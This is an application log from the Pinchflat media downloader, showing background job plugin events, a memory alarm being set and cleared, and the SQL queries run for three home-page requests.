20:04:00.222 [info] {"source":"oban","duration":3483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:04:10.749 [info] {"source":"oban","duration":1898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:40.752 [info] {"source":"oban","duration":1898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.227 [info] {"source":"oban","duration":2506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:05:10.754 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:40.756 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.229 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:06:10.758 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:40.760 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.246 [info] {"source":"oban","duration":15514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:07:10.762 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:40.806 [info] {"source":"oban","duration":43285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.277 [info] {"source":"oban","duration":30224,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:08:10.809 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:40.811 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.283 [info] {"source":"oban","duration":4671,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:09:10.813 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:31.395 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 20:09:40.815 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.287 [info] {"source":"oban","duration":2820,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:10:10.817 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:40.820 [info] {"source":"oban","duration":2304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.314 [info] {"source":"oban","duration":11849,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:11:10.822 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:40.824 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.317 [info] {"source":"oban","duration":1764,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:12:10.826 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:40.828 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.319 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:13:10.830 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:40.832 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.324 [info] {"source":"oban","duration":3393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:14:10.834 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:40.836 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.325 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:15:10.838 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:31.419 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 20:15:40.844 [info] {"source":"oban","duration":4955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.327 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:16:10.846 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:40.848 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.330 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:17:10.850 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:40.856 [info] {"source":"oban","duration":4186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.332 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:18:02.927 [info] GET / 20:18:02.928 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:18:02.932 [debug] QUERY OK source="settings" db=3.6ms idle=1043.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:02.985 [debug] QUERY OK source="media_profiles" db=50.9ms idle=1048.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:18:02.988 [debug] QUERY OK source="sources" db=1.7ms queue=0.4ms idle=1100.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:18:02.989 [debug] QUERY OK source="media_items" db=0.7ms idle=1103.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:18:02.993 [debug] QUERY OK source="media_items" db=2.6ms queue=0.1ms idle=172.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:18:02.999 [debug] QUERY OK source="settings" db=0.7ms queue=0.7ms idle=65.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:03.002 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=15.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:03.005 [debug] QUERY OK source="settings" db=0.7ms idle=16.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:03.009 [debug] QUERY OK source="tasks" db=0.6ms queue=0.2ms idle=19.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:18:03.012 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=17.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:18:03.021 [debug] QUERY OK source="media_items" db=8.6ms queue=0.7ms idle=13.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:18:03.031 [debug] QUERY OK source="sources" db=3.2ms queue=4.4ms idle=21.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:18:03.066 [debug] QUERY OK source="media_items" db=15.9ms queue=0.2ms idle=44.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:18:03.068 [debug] QUERY OK source="media_items" db=1.6ms queue=0.4ms idle=56.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:18:03.071 [info] Sent 200 in 143ms 20:18:10.859 [info] {"source":"oban","duration":2373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:16.912 [info] GET / 20:18:16.912 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:18:16.913 [debug] QUERY OK source="settings" db=0.8ms idle=1022.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:16.916 [debug] QUERY OK source="media_profiles" db=1.6ms queue=0.3ms idle=1023.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:18:16.920 [debug] QUERY OK source="sources" db=2.4ms queue=0.6ms idle=54.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:18:16.925 [debug] QUERY OK source="media_items" db=5.2ms idle=29.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:18:16.928 [debug] QUERY OK source="media_items" db=2.6ms queue=0.1ms idle=35.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:18:16.934 [debug] QUERY OK source="settings" db=3.9ms queue=0.6ms idle=15.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:16.937 [debug] QUERY OK source="settings" db=1.4ms queue=1.0ms idle=18.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:16.941 [debug] QUERY OK source="settings" db=2.1ms queue=0.1ms idle=19.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:16.946 [debug] QUERY OK source="tasks" db=2.2ms idle=18.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:18:16.950 [debug] QUERY OK source="media_items" db=3.0ms idle=18.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:18:16.954 [debug] QUERY OK source="media_items" db=1.9ms queue=0.7ms idle=18.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:18:16.959 [debug] QUERY OK source="sources" db=3.2ms idle=18.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:18:16.969 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=26.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:18:16.973 [debug] QUERY OK source="media_items" db=2.3ms queue=0.2ms idle=23.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:18:16.979 [info] Sent 200 in 66ms 20:18:28.054 [info] GET / 20:18:28.054 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:18:28.055 [debug] QUERY OK source="settings" db=0.6ms idle=1164.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:28.057 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.1ms idle=1143.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:18:28.058 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=166.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:18:28.060 [debug] QUERY OK source="media_items" db=1.2ms idle=168.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:18:28.061 [debug] QUERY OK source="media_items" db=0.6ms idle=144.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:18:28.065 [debug] QUERY OK source="settings" db=4.0ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:28.067 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:28.068 [debug] QUERY OK source="settings" db=0.9ms idle=8.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:28.071 [debug] QUERY OK source="tasks" db=0.9ms idle=9.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:18:28.072 [debug] QUERY OK source="media_items" db=0.3ms idle=10.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:18:28.074 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=7.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:18:28.076 [debug] QUERY OK source="sources" db=0.3ms idle=9.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:18:28.080 [debug] QUERY OK source="media_items" db=0.8ms idle=11.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:18:28.082 [debug] QUERY OK source="media_items" db=1.2ms idle=9.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 